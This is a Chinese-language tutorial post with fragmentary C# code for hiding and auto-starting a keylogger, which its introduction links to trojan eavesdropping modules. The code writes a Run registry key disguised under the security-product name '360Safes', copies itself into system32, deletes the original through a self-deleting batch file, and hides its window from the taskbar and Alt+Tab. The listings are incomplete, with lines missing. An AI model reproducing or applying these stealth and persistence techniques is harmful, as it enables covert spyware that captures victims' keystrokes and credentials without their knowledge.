键盘记录器也叫键盘记录软件,详细记录登录者键盘操作的记录,常用于木马软件的窃听、监听模块。作者Nothing在实现这个功能的时候把程序如何隐藏启动的经验贴出来与大家分享。
一、开机启动
最基本的是开机自启动,简单代码如下:
开机启动项有四个可选也可以同时添加
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
命名空间using Microsoft.Win32;
04 |
public
void registryRun() |
08 |
string
s = "\"" +System.Environment.SystemDirectory + "\\" +
System.IO.Path.GetFileName(Application.ExecutablePath)+ "\"" ; |
09 |
RegistryKey key1 =
Registry.LocalMachine.CreateSubKey( "Software\\Microsoft\\Windows\\CurrentVersion\\run" ); |
10 |
key1.SetValue( "360Safes" ,s );
|
在注册表开机启动项Run中建立了一个键360Safes(相对隐蔽一点,随意),键值为拷贝到system32的键盘记录程序。
卸载开机启动项:
01 |
public void
DeleteRun() |
05 |
RegistryKey key = Registry.LocalMachine;
|
06 |
RegistryKey soft = key.OpenSubKey( @"Software\Microsoft\\Windows\CurrentVersion\run" , true );
|
07 |
if
(IsRegeditKeyExist(soft, "360Safes" )) |
09 |
MessageBox.Show( "开机项已删除!" );
|
13 |
MessageBox.Show( "该开机项不存在" );
|
21 |
private bool
IsRegeditKeyExist(RegistryKey RegBoot, string
RegKeyName) |
26 |
subkeyNames = RegBoot.GetValueNames();
|
27 |
foreach ( string keyName
in subkeyNames)
|
30 |
if
(keyName == RegKeyName) |
32 |
RegBoot.DeleteValue(keyName);
|
40 |
catch
{ return false ; }
|
二、首次运行处理
首次运行键盘记录程序有几步操作(以mm.exe代替键盘记录程序),通过生成的批处理文件删除运行中的程序解决自删除问题。
简要流程:复制自身至system32 → 生成批处理并运行 → 退出程序 →
批处理完成删除程序,启动system32下的程序→ 批处理自删除
1.
判断当前运行程序mm.exe位置,如果不是位于system32文件夹则复制自身
01 |
private void
MoveFile() |
05 |
if
(!File.Exists(System.Environment.SystemDirectory +
"\\" + System.IO.Path.GetFileName(Application.ExecutablePath)))
|
07 |
File.Move(Application.ExecutablePath,
System.Environment.SystemDirectory + "\\" +
System.IO.Path.GetFileName(Application.ExecutablePath));
|
2. 生成一个批处理,
执行删除文件操作
批处理里会判断mm.exe是不是存在,如不存在会一直执行删除,可以保证最终删除mm.exe。批处理实现是cmd下执行的一段代码,通过cmd来删除一个bat文件也不会有问题,所以批处理可以进行自删除。
01 |
public static
void BeginKillSelf() |
05 |
if
(Application.StartupPath !=
System.Environment.SystemDirectory) |
07 |
string
vBatFile =
Path.GetDirectoryName(Application.ExecutablePath) + "\\a.bat" ; |
08 |
using
(StreamWriter vStreamWriter = new
StreamWriter(vBatFile, false ,
Encoding.Default)) |
10 |
vStreamWriter.Write( string .Format(
|
13 |
"if exist \"{0}\" goto
del\r\n" +
|
14 |
"start \"\" \"{1}\"
\r\n" + |
15 |
"del %0\r\n" , Application.ExecutablePath,
System.Environment.SystemDirectory + "\\" +
System.IO.Path.GetFileName(Application.ExecutablePath)) +
|
19 |
WinExec(vBatFile, 0); Environment.Exit(0);
|
WinExec是Windows API,声明如下:
1 |
[DllImport( "kernel32.dll" )] |
2 |
public
static extern
uint WinExec( string lpCmdLine, uint
uCmdShow); |
3.
mm.exe退出程序,批处理得以删除mm.exe
彻底退出程序用
4.
批处理运行System32下的mm.exe,再删除自身
三、只允许一个进程实例
启动时检查进程,如果发现程序已经运行则退出
01 |
private void
RunAProcessAtOnce()
|
03 |
System.Diagnostics.Process[] pProcesses =
System.Diagnostics.Process.GetProcessesByName(
|
04 |
System.Diagnostics.Process.GetCurrentProcess().ProcessName);
|
05 |
if
(pProcesses.Length > 1)
|
四、彻底窗体隐藏
彻底的将窗体隐藏有以下几条:
1. 窗体的ShowInTaskbar属性设为false
WindowState设为启动最小化
FormBordStyle为None
2. 隐藏Alt+Tab里的图标
重载SetVisibleCore
1 |
protected override void
SetVisibleCore( bool
value) |
3 |
base .SetVisibleCore(value);
|
然后在窗体的Load事件写入 SetVisibleCore(false);即可